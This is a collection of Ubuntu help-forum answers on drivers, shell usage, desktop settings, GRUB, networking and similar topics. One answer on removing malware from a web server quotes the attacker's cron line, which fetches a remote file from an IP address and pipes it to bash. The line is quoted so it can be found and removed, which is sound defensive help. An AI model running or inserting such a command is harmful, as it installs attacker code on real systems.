sudo a2enmod php5
sudo service apache2 restart

Post back any terminal errors.

If your using Firefox, you may have to clear your cache as well.


You can have a look at this Facebook Terminal Script

To test it out, there is a demo here

You can get your messages with:

api me/inbox

I don't know if there is a method to send a message.


Why doesn't Vodafone Mobile broadband work in UK?

What follows is based on this answer, but whenever possible I have used the terminal commands instead of just their descriptions.

1. Open the terminal and type:

cd /etc/usb_modeswitch.d
sudo touch 12d1:1526
sudo nano 12d1:1526

This will open the 12d1:1526 file for editing in nano text editor. The instructions for using nano editor are always found at the bottom of every page. The only two nano keyboard shortcuts that you need to know are for WriteOut and Exit. Copy the following text into the nano editor window:

# Vodafone K3772 (Huawei)

TargetVendor=  0x19d2
#TargetProduct= not known yet

MessageContent="55534243123456780000000000000011062000000100000000000000000000"

Press the keyboard combination Ctrl+O and after that press Enter to save the 12d1:1526 file. Press the keyboard combination Ctrl+X to exit nano.

2. Open the /lib/udev/rules.d/40-usb_modeswitch.rules file for editing in nano by running: cd '/lib/udev/rules.d/' && sudo nano 40-usb_modeswitch.rules. You need to add the following two lines to 40-usb_modeswitch.rules putting an empty space before the two lines and another empty space after the two lines:

# Vodafone (Huawei) K3772
ATTRS{idVendor}=="12d1", ATTRS{idProduct}=="1526", RUN+="usb_modeswitch '%b/%k'"

Press the keyboard combination Ctrl+O and after that press Enter to save the 40-usb_modeswitch.rules file. Press the keyboard combination Ctrl+X to exit nano.

3. Plug in your modem in and wait at least 10 seconds. After this run the lsusb command in the terminal. There should be a device ID starting with 12d1 but most likely different than 12d1:1526. The changed part of the ID (after the colon) is your new TargetProduct value (prepended by these two characters: 0x ). Edit your /etc/usb_modeswitch.d file (the same file that you edited previously in Step 1) accordingly as root in nano, removing the comment sign (the # character) at the start of the TargetProduct line.

4. Unplug the modem and plug it in again. Wait ... (Huawei modems need up to 20 seconds for the mode switch.). Run dmesg in the terminal and you should see something like GSM modem (1-port) converter now attached to ttyUSBx. This means that your modem is ready to use.


How to change desktop icon text background color?

I don't know if this will work for you (I am using it in ubuntu 12.04), but you might try ubuntu-tweak :

sudo add-apt-repository ppa:tualatrix/next

sudo apt-get update

sudo apt-get install ubuntu-tweak

when installed open it and go to:

  Tweaks>Theme

Then you can change
Gtk theme

Icon theme

cursor theme

windows theme.

To whatever you would like.


I use Startup Applications to delay the start of Dropbox until after my VPN has loaded.  The same procedure might work for your case.  I would try the following:

Open Startup Applications (click on the dash and search for it)

Add a new startup program by clicking the Add button and give it a name.

In the command line try:

/bin/bash -c "sleep XX && YOUR NVIDIA code"

where XX is the number of seconds of delay you want before executing. So,

/bin/bash -c "sleep 10 && nvidia-settings --assign CurrentMetaMode="HDMI-0:1280x720_60 +0+0 { ForceFullCompositionPipeline = On }

then click Save and reboot to verify that it works.


How can I redirect what is shown on Terminal to a file, when using the 'less' command?

To save just the section that is currently displayed in your terminal you can use the | command.

From man less:

| <m> shell-command
      <m>  represents any mark letter. Pipes a section of the input file to the given
  shell command. The section of the file to be piped is between the first line on the
  current screen and the position marked by the letter. <m> may also be '^' or '$' to
  indicate beginning or end of file respectively.
  If <m> is '.' or newline, the current screen is piped.

So first type | (the pipe symbol)
Then choose the . mark to select only what's visible on your terminal (or just hit Enter)
Use tee to save to a file e.g. tee /tmp/section_of_big_file.txt
Press Enter then q

The sequence with screenshots:


this may be related to having to run the application in legacy mode.
However, I don't think you need this software in the first place. check the manual, the ipcamera may have a web interface. use a browser to go to that address. and do the setup there. which ipcamera brand/model are you trying to configure?


Ubuntu 20 server htop shows 100% CPU usage, why?

I ran pm2 save --force to sync running processes and the CPU went back to normal.
I guess there was an app stuck or something that ate all the CPU.


access my PHP application from antoher computer in the network

So long as you're still within your local network, you should be able to access it via that local IP address (as you showed above), although vanilla apache installs are typically configured to only listen on port 80 not 8080.  In the apache configuration you can change that port if so desired (for this and some other intro info: https://help.ubuntu.com/lts/serverguide/httpd.html).

If you'd like to access it from outside your network, then you can look into how your home router/firewall handles port forwarding.  You can forward connections to your home IP on that port to a specified internal IP address (in this case, your web server).  Just watch out for security risks (as that computer will then be exposed to the internet for attack) and whether or not your residence has a dynamic IP address.


Why does no file manager ask for higher permission if needed?

Are there any reasons this isn't done this way

There aren't any specifically. I can name a few supposed reasons, but they'd be mostly speculation.

  Did anyone implement something like that?

Not quite. There is nautilus-admin extension which will allow you to open a directory in a new window with root-level privileges, and then you can change file/directory permissions as you wish from the right-click menu-> Properties->Permissions.

  Is this something you report as a bug (Ubuntu or e.g. Gnome)?

Bug report ? No. Feature request ? Potentially, yes. You can submit this as feature request to Nautilus ( the filemanager ) team on Launchpad, but I suspect with 90 % certainty they'll point you in the nautilus-admin extension I mentioned above.

Install it with sudo apt-get install nautilus-admin.

  Is this something I just could try to implement myself?

Yes, if your file manager allows adding scripts to it. The default file manager for Ubuntu (Nautilus)  does allow adding scripts to it, so you could do something like this:

#!/bin/bash
# adds read permissions for file for all users
zenity --password | sudo -S -p ""  chmod +r  "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" || zenity --error --text "Command failed"

Place that into  ~/.local/share/nautilus/scripts, make executable with chmod, and then it will be accessible via right clicking on file. Of course that's a minimal example just to show the point. If you want a full blown app that allows more complex features like selecting which permissions to alter, well, that might require extra commands and probably a language like Python with more powerful GUI toolkits.

  But just no! I do not think it is a good idea for an average user. It's far to dangerous. Then the user creates file in root-file-manager and wonders why he cannot delete or modify this file. And so on.

Well...It's not a computer problem - it's user problem. We can't fix the user not willing to learn how to properly operate their computer and not taking responsibility for their actions.

Users have to realize that the separation of ownership in files exists for a reason. You can't have both power to change permissions on file  and not expect security implications with that


Flashes on monitors with Thinkpad X1 Carbon

You might want to check (and experiment) with system firmware.  See my question (and proposed answer) here: External display on USB-C blinks on Lenovo X1 Carbon

Edit: the command to use is fwupdmgr get-devices, while sudo fwupdmgr downgrade will let you interactively select an older version.  Changing to the below seemed to solve the problem for me:

20QD00L1MX System Firmware
  DeviceId:             f09b748a98b31bb5c7c64d83f24ddbc80dff7c5f
  Guid:                 4bbc40fa-f81e-4206-bc70-a1f7b744d964
  Plugin:               uefi
  Flags:                internal|updatable|require-ac|supported|registered|needs-reboot
  Version:              0.1.20
  VersionLowest:        0.0.1
  VersionFormat:        triplet
  Icon:                 computer
  Created:              2020-01-03
  UpdateState:          success


How do I open the Application Launcher on KDE with just the meta ("Windows") key?

You can map it to META + F1 and it should work with just META. It did for me, I'm on plasma 5.10.5.


The default zoom in Firefox can be reset to any value for all webpages without installing an extension.

In the Firefox address bar type: about:config
Search for this preference: layout.css.devPixelsPerPx
Replace the default value of -1.0 with the new percentage zoom. For example, if you want to change the default zoom from the default value of 100% to 125%, then change the value of layout.css.devPixelsPerPx to 1.25

If you are also using Chrome web browser then the default zoom level can be easily changed from the settings ( 3 vertical dots icon  ⋮ ) in the upper right corner of Chrome. For a better browsing experience set the same default zoom for both Firefox and Chrome.


Because it is not working only in Gnome 3 and Unity 3D, you can fix it like this :

Install dconf-tools
Launch it dconf-editor
Search for: /org/gnome/settings-daemon/peripherals/touchpad/
Check "touchpad-enabled"


Is it possible to use a small LCD to display load?

lcdproc is the package you'd probably want to use. Installing is a lot more simple than the Myth wiki would have you believe:

sudo apt-get install lcdproc

It supports a whole load of drivers, a list of which can be seen on its man page, along with instructions on how to configure the client software.

How you turn this list into real devices is something else. Some are direct brands, some are chipsets used by various products. Stick each into Google Shopping and see what you get. Most I can find appear to be around the £50 price point.

This one is particularly pretty, supported... but £60.

Edit: There's also lcd4linux which handles much the same stuff.

sudo apt-get install lcd4linux


How would I pass the output of one command to multiple commands?

Quick answer.  You can use tee >(what_to_do) >(another_thing_to_do) to keep going with your command for as many different things you want to do.

Example:

Original test file output:

:~$ cat testfile.txt
Device Model:     LITEONIT LCS-256M6S 2.5 7mm 256GB
Serial Number:    TW0XFJWX550854187616

Output with tee commands added:

:~$ cat testfile.txt | tee >(tail -1) >(wc) >(awk '{print $3,$1,$2}')
Device Model:     LITEONIT LCS-256M6S 2.5 7mm 256GB
Serial Number:    TW0XFJWX550854187616
LITEONIT Device Model:
TW0XFJWX550854187616 Serial Number:
      2      10      91
Serial Number:    TW0XFJWX550854187616

Each command in tee is just normal commands you would use on the command line, like add in >(head -1 | wc) works as well.

:~$ cat testfile.txt | tee >(tail -1) >(head -1 | wc)  >(awk '{print $3,$1,$2}')
Device Model:     LITEONIT LCS-256M6S 2.5 7mm 256GB
Serial Number:    TW0XFJWX550854187616
      1       7      52
LITEONIT Device Model:
TW0XFJWX550854187616 Serial Number:
Serial Number:    TW0XFJWX550854187616

Or you can also grab the last word of say the last line by using awk with $NF with a wc as well like this:

:~$ cat testfile.txt | tail -1 | tee >(wc) >(awk '{print $NF}')
Serial Number:    TW0XFJWX550854187616
TW0XFJWX550854187616
      1       3      39

NOTE: Adding a | pipe command to the end can override using the multiple commands from the tee command.  I have some examples here that I have been testing:

Example 1 (Pipe command pulling all last words):

:~$ echo "This is just five words" | tee >(wc -l) >(wc -w) >(wc -c) | awk '{print $NF}'
words
24
5
1

Example 2 (Does not show the output of the wc commands. Pipe command grabbing 3rd word.):

:~$ echo "This is just five words" | tee >(wc -l) >(wc -w) >(wc -c) | awk '{print $3}'
just

Example 3 (Grabbing the 3rd word of echo line.  Tee command.):

:~$ echo "This is just five words" | tee >(wc -l) >(wc -w) >(wc -c) >(awk '{print $3}')
This is just five words
just
24
5
1

Example 4 (Grabbing the last word of the echo line. Tee command.):

:~$ echo "This is just five words" | tee >(wc -l) >(wc -w) >(wc -c) >(awk '{print $NF}')
This is just five words
words
24
5
1

Hope this helps!


What Interface Toolkit is being recommended for Ubuntu on Nexus7/Mobile Devices?

The recommended toolkit for ubuntu phone is Qt(c++ and qml) and html5, you can read about it here:

http://developer.ubuntu.com/get-started/


nvidia-settings shows no content in its window

The 450 driver is definitely a problem. Resolved the problem by installing the 390 driver package. Voila, card and nvidia-settings are working for me.


How can I build an installer by tracking filesystem changes?

I think you'll find it easier to read and work through the Ubuntu Packaging Guide, and to use the high-level tools in there to describe the changes you want to make.

The problem with the approach you describe is that it would be really hard for the system to tell the meaning of your changes.  If you edit a file in etc, how do you want that to mesh with other changes that different programs make?  The dpkg infrastructure have standard tools to make things fit in well together.


How do I set Thunderbird to open links in Opera?


Two users - how do I automount a Samba share for one user but not the other?

I figured out how to do this without touching fstab, as I mentioned in my comment. The way I solved this problem is by adding a script in Startup Applications so that it gets run when my user logs in (but not when a different user logs in), and then I set up the script so that it can be run as root without entering a password. For more details the steps I took and how to run a startup script as root without supplying a password, see "Mount samba share at login using startup script (not fstab)" and "How do I sudo a command in a script without being asked for a password."


How to use a Dualshock 2 controller with Ubuntu?

I don't know about that specific controller but I have used jstest-gtk for other ones.


How to enable notifiction "action to choose" after auto-mounting in nautilus

Through Dash: (System Settings) → Details → Removable Media


Use generated Kerberos tickets in Chromium browser

Authentication options of Chromium are described at http://dev.chromium.org/developers/design-documents/http-authentication

For Kerberos, you need the command line option --auth-server-whitelist=.example.com

In Ubuntu, you can add this command line option to the file /etc/chromium-browser/default


So, it seems like there's no way to do this without an X-server.
However, it seems you're able to install the X-Server without running any kind of desktop environment, so the performance impact is absolutely minimal and definitely worth the tradeoff vs hardware acceleration.


Does Ubuntu 13.10 run well on Alienware 14 laptops?

The only potential issue would be the Graphics card. That particular card uses Optimus which has been known to cause issues with Ubuntu and other Linux distributions. If the bios allows you to turn off Optimus and specify either Nvidia or Intel as the graphics card there should not be an issue.

There are some questions her about your video card:

Bumblebee
Black Screen

The other items that can cause issues are:

Web Camera
Sound Card
Backlit Keyboard
Special Function Keys

Does your system have any of those items?

If you already own the system or have access to one you could try booting to an Ubuntu live CD to see how things work.

Update

It would appear that there are some potential issues - I found this thread: http://en.community.dell.com/techcenter/os-applications/f/4457/t/19530230.aspx


I have no extension=* statements in my php.ini yet they load. How?

By default, the php5 packages will automatically pull all configurations in the conf.d directory.  I don't remember where in the configurations, but there's a directive to include all configurations in the /etc/php5/conf.d directory.  That's why the extension packages such as php5-gd install the libraries, and then also install a conf file to the conf.d directory, then restarts php5, and pulls the data from there.


force upperdir overlayfs to re reread/reload lowerdir

well, i found the solution myself

mount -o remount /home/student

does the trick to reread the lowerdir. which i added to the script that removes the files in /home/.student_rw


Find projects that use a particular programming language in Launchpad?

As Marco Ceppi has pointed me towards launchpadlib, I wrote a little script that will do this for you.  download it here

Run the script by calling python name_of_the_script.py in a Terminal after you've downloaded and saved it. It will ask you for a programming language, case insensitive, and a search query (where wildcards, *, are allowed). If you leave either of them blank, it will search across all, rather than none.

You'll need to install python-launchpadlib before you can use it.

Here's some example output:

stefano@3000-G530:~$ python test.py
Enter a programming language or leave blank to find projects in all languages:
>>> Python
Enter a search query or leave blank for all:
>>> Calculator
calcool - A document based calculator tool...
evias - Web site used to apply Eve DB dump to Eve API results and get th...
txevolver - txEvolver is a Twisted-based set of libraries for performing ...
[...]


Simply set PasswordAuthentication to "no" and "UsePAM" to "no", too. Afterwards make sure to reload sshd.


You can very simply record audio through terminal using the pre-installed tool arecord.

Open a terminal (Ctrl+Alt+T)
Run the command

arecord filename.wav

Your audio recording has started, press Ctrl+C to stop the recording.
Your voice recording has been saved as filename.wav in your home directory.

EDIT:
If you have multiple inputs you can find them using

arecord -l

which will list hardware devices that can then be selected using the -D flag.  Listing looks like...

**** List of CAPTURE Hardware Devices ****
card 0: PCH [HDA Intel PCH], device 0: ALC269VB Analog [ALC269VB Analog]
  Subdevices: 1/1
  Subdevice #0: subdevice #0

When choosing a particular device I used the following to select a USB headset.

arecord -D hw:1,0 -f S16_LE filename.wav

Note that the device selection was based on the following listing which comes straight from the -l listing.

card 1: Headset [HP Digital Stereo Headset], device 0: USB Audio [USB Audio]
  Subdevices: 1/1
  Subdevice #0: subdevice #0


Why is APT suggesting upgrading kernel 3.13 from 4.4.0 on trusty?

You are using a HWE kernel version, but you still have a meta package pointing to the 3.13 kernel. Ubuntu 14.04 was initially released with the 3.13 kernel.

Now you are getting updates for both the 3.13 and 4.4 kernels.

If you don't want to get the 3.13 updates, remove meta packages by running

sudo apt-get remove linux-image-generic linux-headers-generic linux-tools-generic

You will get updates for the 4.4 kernel by linux-image-generic-lts-xenial and linux-headers-generic-lts-xenial meta packges.

You can also remove all 3.13 image, headers and tools packages if you like.


Can I repair a corrupted Ubuntu ISO file?

Can I necro-bump?

Actually, there is a way to repair corrupted ISOs

Grab a torrent of the required ISO
In your client specify the target to 'overwrite' the damaged ISO
The client will now 'Check' the ISO and re-download the corrupted bytes only
Done


Update 19th October 2016

I noticed that my Nvidia module was recompiled during an update today, so I rebooted and tested this again. It looks like the issue has now been fixed. For reference, I am running the driver version 367.57 on an Nvidia GTX 970.

Original Answer

TL;DR

sudo apt-get purge nvidia-* -y
sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update && sudo apt-get dist-upgrade -y

The critical point here is that installing the drivers PPA results in
the libcuda1-361 libxnvctrl0 packages being upgraded which resolves the issue. I also found that I had issues with lots of the nvidia drivers so the safest thing to do is go back to the opensource driver. I have had some success with the nvidia-340 driver though.

Full Description

Ok somehow I managed to resolve the situation by accident

Firstly I installed the drivers ppa:

sudo add-apt-repository ppa:graphics-drivers/ppa

Then I purged the existing nvida drivers

sudo apt-get purge nvidia-*

Then I installed the 364 drivers.

sudo apt-get update
sudo apt-get install nvidia-364 -y

After rebooting, I was unable to log into Ubuntu desktop but could log into Xubuntu desktop from previous testing. This would work long enough for me to see that the video playback worked perfectly, but within a few minutes my computer would lock up and would require hard rebooting. After doing this a few times I purged the nvidia drivers again:

sudo apt-get purge nvidia-*

I no longer have the nvidia binary drivers installed and am on the Nouveau driver but the video playback is working and my computer doesn't lock up!


Wifi Adapter Not Found on SONY VAIO with UBUNTU 18.04 RTL8111

Made it simple, after all, when installing Ubuntu you have to check "Install other firm software..." it will ask you for a password for "Unsecure Boot".
When rebooting, it will send you to a blue-screen asking for permission for "Unsecure Boot". There you will have to introduce the password and select the option.


this thing maybe happen due to some malfunction in your hardware.before changing any system default setting check that your PSU, is working good..some short circuit can cause this types of issue !!


this device uses mtp , this command should help :

sudo apt-get install mtpfs

other people got it to work with calibre:

sudo apt-get install calibre

try both and tell us what worked :) would be good to know 100%


Why does adjusting my volume exit fullscreen videos?

This is a bug in the Flash player.

The volume keys on your keyboard are handled by gnome-settings-daemon, which uses a passive grab on the volume keys. The way that X works means that an application needs to have focus in order to receive keypress events, so, what happens when you press the volume keys is that the flash player window sees a FocusOut event as focus is moved temporarily to gnome-settings-daemon.

However, the FocusOut event has the mode set to NotifyGrab, and the flash player should be ignoring this event (it should only really respond when the mode is set to NotifyNormal, which would happen if you really did focus another window).

Hope that helps explain it a bit.


How to change Gnome Media Pop-Up Option for Removable Hard Drive

This is happening  because Disk Usage Analyzer has overridden the mime type through its .desktop file.

To correct it use the following command

xdg-mime default nautilus.desktop  inode/directory

After this you may need to restart the shell.

Press Alt+F2 and enter r to restart gnome-shell.


Do you use a clearlooks-theme? This may cause your mouse problems. Choose another theme.

Does your mouse problem persist with metacity? Try:

metacity --replace

See also: mouse hover problems


how to have lightgray interface from kde to ubuntu

The theme you are looking for it called Oxygen. However, you'd be better off using a theme such as Evolve:

http://satya164.deviantart.com/art/Evolve-GTK3-Theme-264780816

Oxygen would require some extra dependencies which you probably don't want.

To install Evolve:

sudo add-apt-repository ppa:satyajit-happy/themes
sudo apt-get update && sudo apt-get install evolve-gtk-theme


I made it work manually concatenating the colour schemes to the kate config files as shown in the "readme" instruction file here on GitHub.

First concatenate the following

cat ./"Solarized Dark.kateschema" >> ~/.kde/share/config/kateschemarc
cat ./"Solarized Light.kateschema" >> ~/.kde/share/config/kateschemarc

and then complete concatenating the highlight syntax

cat ./"Solarized Dark.katesyntax" >> ~/.kde/share/config/katesyntaxhighlightingrc
cat ./"Solarized Light.katesyntax" >> ~/.kde/share/config/katesyntaxhighlightingrc

This does the job. Open Kile and go to:

Settings -> Configure Kile -> Editor -> Fonts & Colors

and choose the schema.


Redirect Intel GPU Video output to NVIDIA GPU

It is possible to have a driver installed that uses the Nvidia card only for specific apps, likewise the same driver is also able to uses the Intel iGPU in low-powered situations, and to convert to using the Nvidia card when required like you would expect works without configuration in a Windows or Mac device. This is part of the Nvidia Optimus project.

Nvidia provides this driver, as long as you have a device that has both an Intel iGPU and a Nvidia dGPU (if you do, which you do, you have what is known as an Optimus-ready system)

Ubuntu users specifically have the Nvidia Prime driver which is the Nvidia-supported way of having iGPU-dGPU switching functionality. Follow this to install the drivers and pre-requisite packages.

The feature with Nvidia Prime that specifically allows for switching is known as Prime Offloading, you can invoke it manually via the command line. 19.10 users can also download a lovely applet to do the same

Bonus fact: Though Nvidia Prime is the officially supported way of getting the iGPU and dGPU working together to optimize on power, there have been other drivers around before Nvidia Prime that provided this same functionality. Allegedly the nvidia-xrun driver provides the best performance in gaming according to this reddit post. It could be worth considering if gaming on the Linux is something you are interested in.


phpMyAdmin/Chrome Unrecognized Content-Security-Policy directive 'referrer'

I had same problem.
The problem does not depend on Unrecognized Content-Security-Policy, but in my case it's a cookie problem.

When I try with firefox or if I browsing in incognito all works fine.

I've solved using in this way.
Open the inspector navigate to Application > Clear Storage > Go ahead and clear everything.

Source: https://stackoverflow.com/questions/49811804/phpmyadmin-failed-to-set-session-cookie-maybe-you-are-using-http-instead-of-htt/54189692#54189692


First, see: How do I create a script file for terminal commands? This covers creating the script itself.

To test whether you can write to a file, you can use:

[ -w filename ]

(And -r for reading, -x for executing.)

To do this for multiple files, you could use a for loop:

for f in Photos.txt Videos.txt Album.txt
do
    if [ -w "$f" ]
    then
        echo "Can write to $f."
    else
        echo "Can't write to $f."
    fi
    if [ -r "$f" ]
    then
        echo "Can read from $f."
    else
        echo "Can't read from $f."
    fi
done

f here is a variable that the shell will set to Photos.txt, Videos.txt and Album.txt in each iteration of the loop. "$f" is how you get the value of the variable.


LUKS hdd encryption: Maximum maximum password length?

LUKS is configured via cryptsetup which has a compiled-in limitation of 512 characters for an interactive passphrase. In theory there is no limitation on the length of the passphrase as it is processed through a key derivation function.

$ crypsetup --help
...
Default compiled-in key and passphrase parameters:
        Maximum keyfile size: 8192kB, Maximum interactive passphrase length 512 (characters)
Default PBKDF2 iteration time for LUKS: 1000 (ms)

Default compiled-in device cipher parameters:
        loop-AES: aes, Key 256 bits
        plain: aes-cbc-essiv:sha256, Key: 256 bits, Password hashing: ripemd160
        LUKS1: aes-xts-plain64, Key: 256 bits, LUKS header hashing: sha1, RNG: /dev/urandom


suppoie malware removal (script hidden in .jpg)

It is in your www-data cron:

    sudo crontab -e -u www-data

You'll see something like:

    * * * * * curl -s http://158.69.133.18:8220/logo7.jpg | bash -s

Kill the process then clear it out of /var/tmp


How to upgrade to glx 1.3 on ubuntu 10.04

You might want to read this discussion.

I fixed this problem by installing newer Xorg packages using the xorg-edgers PPA. Add it with:

sudo add-apt-repository ppa:xorg-edgers/ppa
sudo apt-get update

Note that you do not need to enter any further commands to install specific packages; adding the xorg-edgers PPA and running regular updates is the correct usage.

If you need to remove the PPA, you must use ppa-purge, or you may run into serious issues. Please read the instructions on Launchpad.


Ubuntu crashes after upgrade to 13.10, laptop won't boot anymore

i suggest you do a re-installation of ubuntu, install the latest ubuntu that is ubuntu 14.04 LTS on the ubuntu partition. If you don't want to lost your document, run it as a live cd and use an external Hard disk to extract your files or simply move it to your windows partition.


How can I install USB Wifi drivers to Lubuntu?

Please try the following from the terminal:

sudo -i
modprobe zd1211rw
echo 0586 3419 > /sys/bus/usb/drivers/zd1211rw/new_id
exit

Did your wireless device come to life? Any clues in the log?

dmesg | grep -e zd12 -e wlx

If this works, I will edit my answer to add additional steps to make it persistent over reboots.


First of all, if it shows Ubuntu 13.04 you're using a non-stable version of Ubuntu, what you shouldn't be doing if this is your work machine because this versions can contain bugs.

Furthermore, in System Settings there is the option Appearance, where you can change the background for an image in a set of standard images or for an image in your computer.


How to check if Ubuntu Desktop or Server is installed?

dpkg -l ubuntu-desktop

will tell you if the suggested desktop components are installed.

uname -a

will tell you whether the server or generic kernel is being used.

"Desktop or server" is not a binary thing - it's possible to have some desktop components installed on a machine originally installed as a server, etc.

You have to decide what package you want to use as the key distinction between "server" or "desktop".  Maybe xserver-xorg is a good choice, though even some servers will have that for package dependencies or to support remote desktops.


What I finally did is to create three shell scripts:

$ cat ~/bin/win1
wmctrl -r :ACTIVE: -b remove,fullscreen
wmctrl -r :ACTIVE: -b remove,maximized_vert,maximized_horz
wmctrl -r :ACTIVE: -e 0,0,0,1350,800
wmctrl -r :ACTIVE: -b add,maximized_vert

$ cat ~/bin/win2
wmctrl -r :ACTIVE: -b remove,fullscreen
wmctrl -r :ACTIVE: -b remove,maximized_vert,maximized_horz
wmctrl -r :ACTIVE: -e 0,1355,0,315,800
wmctrl -r :ACTIVE: -b add,maximized_vert

$ cat ~/bin/win3
wmctrl -r :ACTIVE: -b remove,fullscreen
wmctrl -r :ACTIVE: -b remove,maximized_vert,maximized_horz
wmctrl -r :ACTIVE: -e 0,300,1400,615,300
wmctrl -r :ACTIVE: -b add,maximized_vert,maximized_horz

The first one puts current window in a big area at the left of my main screen (desktop monitor I have above the laptop display).  Let's call it "area 1".

The second one puts current window in a thin area at the right of that same screen.  This would be "area 2".

The combination of area 1 and area 2 covers the whole main monitor.

The third screen maximizes the current window at the notebook display below.

Obviously I defined the sizes using the numbers on the scripts because that's the grid I wanted.  You can define your own grid, see man wmctrl to find out how.

Next, I added those scripts to the KDE start menu.  You can open the KDE Menu Editor by right clicking on Application Launcher, then Edit Applications.
Last, I configured a different shortcut key for each one of them, right there in the KDE Menu Editor, under the "Advanced" tab.  I also unchecked "Enable launch feedback" under the "General" tab to get rid of the bouncing icon.

The shortcuts I used were Ctrl+Shift+1, Ctrl+Shift+2 and Ctrl+Shift+3.

I think that's pretty much it.


The suspected temporary fix to this is check for the presence of an apt proxy in /etc/apt/apt.conf.d and comment that out, as it causes problems with PPA installations from MAAS controlled hosts.

For example, within my maas cluster I have

/etc/apt/apt.conf.d/90curtin-aptproxy

Acquire::HTTP::Proxy "http://10.0.10.2:8000/";

The presence of this curtin proxy causes PPA's to fail 100% of the time. Commenting it out has allowed apt to reach out through the network and install from PPA's.


When installing Ubuntu, formatted flash drive cannot be accessed

Did you try running Rufus as administrator?

You could also try simply copying the contents of the ISO to a freshly formatted USB stick. I have installed Ubuntu that way before.

I have also  used Universal USB Installer (https://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/) without issues; you may want to try it.


Why can't I set a static IP address for my Linux box?

If you are using a desktop version of Ubuntu, with a graphical network-manager tool installed, then you should not define the connection in the /etc/network/interfaces file.

Instead, open the connection via the nm-applet on the desktop (or by invoking nm-connection-editor from a terminal), navigate to the IPv4 settings tab, and set the connection mode to Manual using the drop-down selection box. Then add your desired IP and DNS settings in the boxes provided.

You should then revert any edits to your /etc/network/interfaces file (so that it contains only the lo definition lines) and either restart both the networking and network-manager services or reboot the machine.

You should also make sure that the chosen static IP address is outside the DHCP pool assigned by your router - in fact, you may find it simpler to keep a DHCP configuration on the machine, and reserve a particular IP for it on the router, if it supports DHCP address reservation.

If you really want to keep the GUI network-manager, but define your interface via /etc/network/interfaces, then you could try editing /etc/NetworkManager/NetworkManager.conf, changing

[ifupdown]
managed=false

to

[ifupdown]
managed=true

and then making sure there are no other competing connections defined in the /etc/NetworkManager/system-connections/ directory (where 'competing' means 'using the same interface as'). This should allow you to see and control the connections in /etc/network/interfaces under the GUI network-manager applet.

Alternatively you could remove the network-manager package altogether.


Change the appearance of the file browser?

This is Nautilus-Elementary, You can get it using theses commands in a terminal :

sudo add-apt-repository ppa:am-monkeyd/nautilus-elementary-ppa
sudo apt-get update && sudo apt-get upgrade

See OMG! UBUNTU! Post!

Also You don't want to miss the gloobus-preview !! (A quick look, simply hit space for any file or folder and it will open like this):

Install:

sudo apt-get install gloobus-preview


Bash script to remove item from Nginx cache

First, glen jackman was close: your script is using CR-LF (\r\n) line endings. For example, I recreated your script with CRLF line endings manually:

$ cat foo.sh
#!/bin/bash
echo "Deleting: " $1
grep -lr $1 foo.txt | xargs echo
echo "Done"
$ file foo.sh
foo.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
$ sh foo.sh bar
Deleting:  bar
: No such file or directory
Done

Change your line endings to the normal form, by installing dos2unix and using it to convert:

sudo apt-get install dos2unix
dos2unix clear_single_cache_object.sh

Second, since you're giving a shebang, why are you calling your script with sh? Make it executable and run it drectly:

chmod +x clear_single_cache_object.sh
./clear_single_cache_object.sh /images/test.jpg

If you'd done that, you could have caught the problem earlier:

$ ./foo.sh
bash: ./foo.sh: bad interpreter: /bin/bash^M: no such file or directory

Third, fix your editor. If you're creating the script on Windows and then copying to your server, use a decent editor like Notepad++ which supports Unix line endings (LF).


btrfs balance "No space left on device" with no success on any -dusage and -musage values

Simple, try deleting space or putting it onto a drive. If you plug in a removable media such as a USB usually it can act as extra space and prevent errors.


Keyboard language is changed when xrandr is executed

If you only have 2 keyboard layouts, do the following:

You need to install xdotool with sudo apt-get install xdotool for this.

Modify your scripts to the following.

#!/bin/bash
xrandr --auto && xrandr --output eDP1 --off;
xdotool keydown Super key space keyup Super

and

#!/bin/bash
xrandr --auto && xrandr --output HDMI1 --off;
xdotool keydown Super key space keyup Super


How does the installer automagically fill in the suggested hostname?

What the installer does is getting your computers name. It's pretty strange that it's this telephone number, normally it's something like Acer-Aspire-X3300.

Perhaps your computers vendor got that telephone number and made it the computers name (I have no idea if some do this intentionally, else it could've been a mistake), or someone edited the name (perhaps it's a special BIOS feature on some Computers).


Delete all traces of windows from Ubuntu

I'm not sure what it uses to detect the OS.  I'd try a quick reformat of the partitions.

If nothing else works, here is a patch that can be made to /etc/grub.d/30_os-prober that will allow you to specify any partitions you want to skip:

/etc/grub.d/30_os-prober modification

These lines can be added to the file (just past the middle) to skip any partitions that you don't want to show up in the menu.  Leaving the string empty will skip nothing.

Add the lines starting with

############## Patch to prevent some partitions being autodetected

through

############## End of patch:

for OS in ${OSPROBED} ; do
  DEVICE="`echo ${OS} | cut -d ':' -f 1`"
  LONGNAME="`echo ${OS} | cut -d ':' -f 2 | tr '^' ' '`"
  LABEL="`echo ${OS} | cut -d ':' -f 3 | tr '^' ' '`"
  BOOT="`echo ${OS} | cut -d ':' -f 4`"

  ############## Patch to prevent some partitions being autodetected
  SKIP_THESE_DEVICES="sdb1"
  # SKIP_THESE_DEVICES="sda1 sdb1 sdb2"   example for multiple devices
  # SKIP_THESE_DEVICES=""                 example for no devices

  PARTITIONNAME="`echo ${DEVICE} | cut -c 6- 2> /dev/null`"
  if [ "`echo ${SKIP_THESE_DEVICES} | grep -e ${PARTITIONNAME} 2> /dev/null`" ] ; then
    continue
  fi
  ############## End of patch

  if [ -z "${LONGNAME}" ] ; then
    LONGNAME="${LABEL}"
  fi

After changing this file, you will, of course, need to run sudo update-grub to regenerate the menu.  You should be able to see the results from the terminal's output when it says "Found ..." for each entry; you can run it first before the mods, then compare the output to after the mods.  You should not see the removed entries.


First of all, make sure you are running GParted from a live session. You cannot move partitions used by a system that is currently using them.

To add the unallocated space to a partition, you will need to make sure that the unallocated space is adjacent to the partition. You will therefore need to move the partitions after the unallocated space right after sda9 first. Then, the unallocated space will move after your current sda12, which is currently your /home partition. You will then be able to expand sda12 to also use the unallocated space.

Moving partitions using gparted may take a long time. It would be faster to delete these partitions and then recreate partitions the way you want, and reinstall.


Can I uninstall linux-image-generic-lts-vivid?

Not only can you uninstall this package, you should uninstall it, as the Vivid (15.04) HWE for Trusty reached its end of life in August 2016.

See https://wiki.ubuntu.com/Kernel/LTSEnablementStack

If you need a kernel newer than the 3.13 provided in Trusty, you can install a 4.4 kernel with the Xenial HWE as described in the above page


